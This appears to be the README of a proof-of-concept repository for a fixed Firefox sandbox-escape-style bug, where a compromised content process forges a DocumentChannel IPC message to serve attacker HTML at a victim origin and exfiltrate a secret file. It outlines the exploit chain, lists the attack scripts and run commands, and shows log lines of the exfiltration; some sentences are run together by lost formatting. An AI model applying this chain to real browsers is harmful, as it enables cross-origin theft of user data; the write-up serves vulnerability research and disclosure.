
Firefox content->parent srcdoc forge (N-day, bug 2040160): forged PDocumentChannel with SrcdocData on a non-about:srcdoc URI -> attacker HTML served at victim origin (UXSS), via mojo-port send-path injection from a compromised content process
Proof of concept: a compromised content process forges a PDocumentChannel load
whose nsDocShellLoadState carries SrcdocData together with an arbitrary
URI. Vulnerable builds serve the attacker HTML as the document at the victim
origin — same-origin read + exfiltration (UXSS).
Target: Firefox 149.0a1 nightly @ 2fbc0748c4 (vulnerable, pre-fix), macOS arm64.
Fixed in Firefox 152 — bug 2040160, commit 54dc16d08771 "Reject srcdoc data on
non-about:srcdoc URI loads".
The parent process deserializes a nsDocShellLoadState from content→parent IPDL
messages. The vulnerable ctor only rejected javascript: for content-triggered
loads; was not validated. When a load state carries srcdoc data with
a URI that is not , the docshell builds an input-stream channel
that serves the srcdoc HTML — and the resulting document gets the
URI's origin.
SrcdocDataabout:srcdocThe fix adds a FatalError in the nsDocShellLoadState IPDL ctor when
!mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI),
plus hardening asserts in nsDocShell and Document::StartDocumentLoad.
Sibling bug: CVE-2026-74939 (RemoteTypeOverride) — same ctor, same carrier
message, same delivery machinery (see ../poc-cve-2026-74939). This PoC reuses
that forge with a different field flipped; no RemoteTypeOverride needed.
srcdoc.html at http://127.0.0.1:8778 (origin A, compromised
via the stage-1 wasm primitives in wasm-bytes.js).PNecko::PDocumentChannel ctor: URI = http://localhost:8778/nav.html
(origin B), SrcdocData = <attacker HTML>, top-level BrowsingContext of a
same-process about:blank popup — delivered through the real mojo send path
(operator new → IPC::Message ctor → Pickle::WriteBytes →
MessageChannel::Send).webIsolated=http://localhost, and the docshell serves our HTML as the
document at origin B./secret.txt (same-origin on B — a real cross-origin fetch
from A would be CORS-blocked) and exfiltrates it to A.Evidence (/tmp/srv.log after ./irun):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| File | Purpose |
|---|---|
srcdoc.html | PoC page, run inside the compromised content process |
forge.py | builds the forged message (self-verifying) → forge.bin/forge.json |
wasm-bytes.js | stage-1 primitives: arb R/W, funcref calls (CVE-2026-2796) |
mdrive2.py | marionette harness to launch and drive Nightly |
irun | instrumented run: lldb attach to parent + MOZ_LOG/srv.log evidence |
profile.user.js | Firefox profile prefs (fission on, dump enabled) |
parse_dc.py | byte-exact parser for captured DocumentChannel messages |
captured-messages/dc_1.bin | real captured message, used as the forge template |
nav.html, secret.txt | victim-page fixture + secret for the demo |
Prerequisites: vulnerable Nightly build at /Users/sid/gecko-2766/obj-browser,
.venv with psutil, and a web server on 0.0.0.0:8778 serving this directory
(e.g. python3 /tmp/srv.py, logging to /tmp/srv.log).
python3 forge.py # build forge.bin/forge.json (self-verifying)
./irun # launch + inject + collect evidence
Note: a content process may SIGSEGV on teardown after the send (GC over the fake objects); all evidence is emitted before that.
54dc16d08771 (MFSA 2026-57, Firefox 152)RemoteTypeOverride)